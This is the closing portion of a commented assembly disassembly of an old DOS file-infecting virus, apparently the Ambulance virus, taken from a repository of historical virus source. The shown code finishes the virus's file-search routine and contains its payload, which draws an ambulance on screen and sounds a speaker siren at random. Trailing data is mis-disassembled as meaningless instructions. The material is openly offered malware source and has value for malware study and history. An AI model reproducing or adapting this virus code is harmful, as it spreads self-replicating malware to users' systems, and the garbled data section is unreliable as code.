ambul3.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

	MOV	AX,0040h			    ;002BF B84000	 _@_
	MOV	DS,AX		;DS_Chg 	    ;002C2 8ED8 	 __
	ROR	BP,1				    ;002C4 D1CD 	 __
	XOR	BP,DS:[006Ch]			    ;002C6 332E6C00	 3.l_
	POP	DS				    ;002CA 1F		 _
	TEST	BP,0007h			    ;002CB F7C50700	 ____
	JZ	H002D7				    ;002CF 7406 	 t_
	MOV	AH,4Fh				    ;002D1 B44F 	 _O
	INT	21h		;2-Srch_Nxt_Fl_Hdl  ;002D3 CD21 	 _!
	JNB	H002BE				    ;002D5 73E7 	 s_
H002D7: MOV	DI,[SI+0422h]			    ;002D7 8BBC2204	 __"_
	LEA	BX,[SI+0496h]			    ;002DB 8D9C9604	 ____
	MOV	AL,[BX] 			    ;002DF 8A07 	 __
	INC	BX				    ;002E1 43		 C
	STOSB					    ;002E2 AA		 _
	OR	AL,AL				    ;002E3 0AC0 	 __
	JNZ	H002DF				    ;002E5 75F8 	 u_
H002E7: MOV	BX,[SI+0426h]			    ;002E7 8B9C2604	 __&_
	MOV	AX,[SI+0424h]			    ;002EB 8B842404	 __$_
	PUSH	DS				    ;002EF 1E		 _
	MOV	DS,AX		;DS_Chg 	    ;002F0 8ED8 	 __
	MOV	AH,1Ah				    ;002F2 B41A 	 __
	INT	21h		;1-Set_DTA	    ;002F4 CD21 	 _!
	POP	DS				    ;002F6 1F		 _
	RET			;RET_Near	    ;002F7 C3		 _
;---------------------------------------------------
H002F8: PUSH	ES				    ;002F8 06		 _
	MOV	AX,[SI+040Fh]			    ;002F9 8B840F04	 ____
	AND	AX,0007h			    ;002FD 250700	 %__
	CMP	AX,0006h			    ;00300 3D0600	 =__
	JNZ	H0031A				    ;00303 7515 	 u_
	MOV	AX,0040h			    ;00305 B84000	 _@_
	MOV	ES,AX		;ES_Chg 	    ;00308 8EC0 	 __
	MOV	AX,ES:[000Ch]	;ES_Ovrd	    ;0030A 26A10C00	 &___
	OR	AX,AX				    ;0030E 0BC0 	 __
	JNZ	H0031A				    ;00310 7508 	 u_
	INC	Word Ptr ES:[000Ch]
				;ES_Ovrd	    ;00312 26FF060C00	 &____
	CALL	H0031C		; . . . . . . . . . ;00317 E80200	 ___
H0031A: POP	ES				    ;0031A 07		 _
	RET			;RET_Near	    ;0031B C3		 _
;---------------------------------------------------
H0031C: PUSH	DS				    ;0031C 1E		 _
	MOV	DI,0B800h			    ;0031D BF00B8	 ___
	MOV	AX,0040h			    ;00320 B84000	 _@_
	MOV	DS,AX		;DS_Chg 	    ;00323 8ED8 	 __
	MOV	AL,DS:[0049h]			    ;00325 A04900	 _I_
	CMP	AL,07h				    ;00328 3C07 	 <_
	JNZ	H0032F				    ;0032A 7503 	 u_
	MOV	DI,0B000h			    ;0032C BF00B0	 ___
H0032F: MOV	ES,DI		;ES_Chg 	    ;0032F 8EC7 	 __
	POP	DS				    ;00331 1F		 _
	MOV	BP,0FFF0h			    ;00332 BDF0FF	 ___
	MOV	DX,0000h			    ;00335 BA0000	 ___
	MOV	CX,0010h			    ;00338 B91000	 ___
	CALL	H0037D		; . . . . . . . . . ;0033B E83F00	 _?_
	INC	DX				    ;0033E 42		 B
	LOOP	H0033B				    ;0033F E2FA 	 __
	CALL	H0035A		; . . . . . . . . . ;00341 E81600	 ___
	CALL	H003C2		; . . . . . . . . . ;00344 E87B00	 _{_
	INC	BP				    ;00347 45		 E
	CMP	BP,+50h 			    ;00348 83FD50	 __P
	JNZ	H00335				    ;0034B 75E8 	 u_
        CALL    SILENC          ; . . . . . . . . . ;0034D E80300        ___
	PUSH	DS				    ;00350 1E		 _
	POP	ES				    ;00351 07		 _
	RET			;RET_Near	    ;00352 C3		 _
;---------------------------------------------------
;********** Silence speaker
SILENC: IN      AL,61h          ;Port_IN:61h        ;00353 E461          _a
	AND	AL,0FCh 			    ;00355 24FC 	 $_
	OUT	61h,AL		;Port_OUT:61h	    ;00357 E661 	 _a
	RET			;RET_Near	    ;00359 C3		 _
;---------------------------------------------------
H0035A: MOV	DX,07D0h			    ;0035A BAD007	 ___
	TEST	BP,0004h			    ;0035D F7C50400	 ____
	JZ	H00366				    ;00361 7403 	 t_
	MOV	DX,0BB8h			    ;00363 BAB80B	 ___
H00366: IN	AL,61h		;Port_IN:61h	    ;00366 E461 	 _a
	TEST	AL,03h				    ;00368 A803 	 __
	JNZ	H00374				    ;0036A 7508 	 u_
	OR	AL,03h				    ;0036C 0C03 	 __
	OUT	61h,AL		;Port_OUT:61h	    ;0036E E661 	 _a
	MOV	AL,0B6h 			    ;00370 B0B6 	 __
	OUT	43h,AL		;Port_OUT:43h	    ;00372 E643 	 _C
H00374: MOV	AX,DX				    ;00374 8BC2 	 __
	OUT	42h,AL		;Port_OUT:42h	    ;00376 E642 	 _B
	MOV	AL,AH				    ;00378 88E0 	 __
	OUT	42h,AL		;Port_OUT:42h	    ;0037A E642 	 _B
	RET			;RET_Near	    ;0037C C3		 _
;---------------------------------------------------
H0037D: PUSH	CX				    ;0037D 51		 Q
	PUSH	DX				    ;0037E 52		 R
	LEA	BX,[SI+03BFh]			    ;0037F 8D9CBF03	 ____
	ADD	BX,DX				    ;00383 03DA 	 __
	ADD	DX,BP				    ;00385 01EA 	 __
	OR	DX,DX				    ;00387 0BD2 	 __
	JS	H003BF				    ;00389 7834 	 x4
	CMP	DX,+50h 			    ;0038B 83FA50	 __P
	JNB	H003BF				    ;0038E 732F 	 s/
	MOV	DI,0C80h			    ;00390 BF800C	 ___
	ADD	DI,DX				    ;00393 03FA 	 __
	ADD	DI,DX				    ;00395 03FA 	 __
	SUB	DX,BP				    ;00397 29EA 	 )_
	MOV	CX,0005h			    ;00399 B90500	 ___
	MOV	AH,07h				    ;0039C B407 	 __
	MOV	AL,[BX] 			    ;0039E 8A07 	 __
	SUB	AL,07h				    ;003A0 2C07 	 ,_
	ADD	AL,CL				    ;003A2 02C1 	 __
	SUB	AL,DL				    ;003A4 28D0 	 (_
	CMP	CX,+05h 			    ;003A6 83F905	 ___
	JNZ	H003B5				    ;003A9 750A 	 u_
	MOV	AH,0Fh				    ;003AB B40F 	 __
	TEST	BP,0003h			    ;003AD F7C50300	 ____
	JZ	H003B5				    ;003B1 7402 	 t_
	MOV	AL,20h				    ;003B3 B020 	 _ 
H003B5: STOSW					    ;003B5 AB		 _
	ADD	BX,+10h 			    ;003B6 83C310	 ___
	ADD	DI,009Eh			    ;003B9 81C79E00	 ____
	LOOP	H0039C				    ;003BD E2DD 	 __
H003BF: POP	DX				    ;003BF 5A		 Z
	POP	CX				    ;003C0 59		 Y
	RET			;RET_Near	    ;003C1 C3		 _
;---------------------------------------------------
H003C2: PUSH	DS				    ;003C2 1E		 _
	MOV	AX,0040h			    ;003C3 B84000	 _@_
	MOV	DS,AX		;DS_Chg 	    ;003C6 8ED8 	 __
	MOV	AX,DS:[006Ch]			    ;003C8 A16C00	 _l_
	CMP	AX,DS:[006Ch]			    ;003CB 3B066C00	 ;_l_
	JZ	H003CB				    ;003CF 74FA 	 t_
	POP	DS				    ;003D1 1F		 _
	RET			;RET_Near	    ;003D2 C3		 _
;---------------------------------------------------
	DB	'"'                                 ;003D3 22
;---------------------------------------------------
	AND	SP,[SI] 	;SP_Chg 	    ;003D4 2324 	 #$
	AND	AX,2726h			    ;003D6 252627	 %&'
	SUB	[BX+DI],CH			    ;003D9 2829 	 ()
	DB	66h		;Indef_OP:66h	    ;003DB 66		 f
;---------------------------------------------------
	XCHG	DI,[BP+DI]			    ;003DC 873B 	 _;
	SUB	AX,2F2Eh			    ;003DE 2D2E2F	 -./
	XOR	[BX+DI],DH			    ;003E1 3031 	 01
	AND	SP,AX		;SP_Chg 	    ;003E3 23E0 	 #_
	LOOPZ	H003C9				    ;003E5 E1E2 	 __
	JCXZ	H003CD				    ;003E7 E3E4 	 __
	IN	AX,0E6h 	;Port_IN:E6h	    ;003E9 E5E6 	 __
	OUT	0E7h,AX 	;Port_OUT:E7h	    ;003EB E7E7 	 __
	JMP	H0EFDA				    ;003ED E9EAEB	 ___
;---------------------------------------------------
	XOR	[BX+DI],DH			    ;003F0 3031 	 01
	XOR	AH,[SI] 			    ;003F2 3224 	 2$
	LOOPNZ	H003D7				    ;003F4 E0E1 	 __
	LOOP	H003DB				    ;003F6 E2E3 	 __
	CALL	H0EE25		; . . . . . . . . . ;003F8 E82AEA	 _*_
	OUT	0E8h,AX 	;Port_OUT:E8h	    ;003FB E7E8 	 __
	JMP	H0342F				    ;003FD E92F30	 _/0
;---------------------------------------------------
	DB	6Dh		;286_INSW	    ;00400 6D		 m
;---------------------------------------------------
	XOR	DH,[BP+DI]			    ;00401 3233 	 23
	AND	AX,0E2E1h			    ;00403 25E1E2	 %__
	JCXZ	H003EC				    ;00406 E3E4 	 __
	IN	AX,0E7h 	;Port_IN:E7h	    ;00408 E5E7 	 __
	OUT	0E8h,AX 	;Port_OUT:E8h	    ;0040A E7E8 	 __
	JMP	H0EFF9				    ;0040C E9EAEB	 ___
;---------------------------------------------------
	IN	AL,DX		;Port_IN:DX	    ;0040F EC		 _
	IN	AX,DX		;Port_IN:DX	    ;00410 ED		 _
	OUT	DX,AL		;Port_OUT:DX	    ;00411 EE		 _
	OUT	DX,AX		;Port_OUT:DX	    ;00412 EF		 _
	OUT	0E7h,AL 	;ES_Ovrd	    ;00413 26E6E7	 &__
	SUB	[BX+DI+5Ah],BX			    ;00416 29595A	 )YZ
	SUB	AL,0ECh 			    ;00419 2CEC 	 ,_
	IN	AX,DX		;Port_IN:DX	    ;0041B ED		 _
	OUT	DX,AL		;Port_OUT:DX	    ;0041C EE		 _
	OUT	DX,AX		;Port_OUT:DX	    ;0041D EF		 _
	DB	0F0h		;LOCK:F0h	    ;0041E F0		 _
        XOR     AH,[BP+SI+34]                       ;0041F 326234        2b4
;---------------------------------------------------
	HLT			;SYSTEM_HALT	    ;00422 F4		 _
	OR	AL,[BX+SI]			    ;00423 0A00 	 __
	JMP	H00439				    ;00425 E91100	 ___
;---------------------------------------------------
        DB      0B4h, 09h, 0BAh ;First three bytes  ;00428
        DB      05,00           ;Dunno              ;0042B
        DB      0B4h, 09h, 0BAh ;First three bytes  ;0042D
                                ;AGAIN! Wierd
P00100  ENDP

CODE    ENDS
        END     H00100
 
;-------------------------------------------------------------------------------